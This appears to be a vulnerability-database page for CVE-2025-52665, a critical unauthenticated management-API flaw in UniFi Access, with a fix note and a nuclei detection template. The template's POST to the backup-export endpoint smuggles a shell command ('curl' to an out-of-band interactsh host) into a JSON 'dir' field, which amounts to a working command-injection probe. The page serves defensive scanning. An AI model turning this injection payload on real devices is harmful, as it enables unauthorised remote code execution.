Browse / CVEs / CVE-2025-52665
CVE-2025-52665· CWE-306
UniFi Access - Broken Access Control
criticalseverity
10CVSS score
41.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
UniFi Access Application 3.3.22 through 3.4.31 contains a broken authentication caused by misconfiguration exposing management API without proper authentication, letting attackers on management network access management functions, exploit requires network access.
Impact
Attackers on the management network can access management APIs without authentication, potentially leading to unauthorized control of the system.
Fix
Update to version 4.0.21 or later.
How to confirm it
Send: GET /login
Positive when: status_code == 200 and contains_any(body, "UniFi OS","UniFi Dream Machine SE")
Send: @Host: {{Host}}:9780
Positive when: contains in interactsh_protocol "dns"Run it with nuclei: nuclei -id CVE-2025-52665 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-52665
info:
name: UniFi Access - Broken Access Control
author: theamanrawat,DhiyaneshDK
severity: critical
description: |
UniFi Access Application 3.3.22 through 3.4.31 contains a broken authentication caused by misconfiguration exposing management API without proper authentication, letting attackers on management network access management functions, exploit requires network access.
impact: |
Attackers on the management network can access management APIs without authentication, potentially leading to unauthorized control of the system.
remediation: |
Update to version 4.0.21 or later.
reference:
- https://community.ui.com/releases/Security-Advisory-Bulletin-056-056/ce97352d-91cd-40a7-a2f4-2c73b3b30191
- https://www.catchify.sa/post/cve-2025-52665-rce-in-unifi-os-25-000
- https://nvd.nist.gov/vuln/detail/CVE-2025-52665
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-52665
epss-score: 0.41089
epss-percentile: 0.98675
cwe-id: CWE-306
metadata:
max-request: 2
verified: false
shodan-query: http.html:"UniFi OS"
fofa-query: body="UniFi OS"
tags: cve,cve2025,unifi,rce,vuln,vkev
flow: http(1) && http(2)
variables:
rand_string: '{{to_lower(rand_text_alpha(6))}}'
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(body, "UniFi OS","UniFi Dream Machine SE")'
condition: and
internal: true
- raw:
- |
@Host: {{Host}}:9780
POST /api/ucore/backup/export HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"dir":"/tmp/{{rand_string}}-; curl http://{{interactsh-url}}/; #"
}
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"References
- https://community.ui.com/releases/Security-Advisory-Bulletin-056-056/ce97352d-91cd-40a7-a2f4-2c73b3b30191
- https://www.catchify.sa/post/cve-2025-52665-rce-in-unifi-os-25-000
- https://nvd.nist.gov/vuln/detail/CVE-2025-52665
Use this check only on systems you are authorised to test. Where the data comes from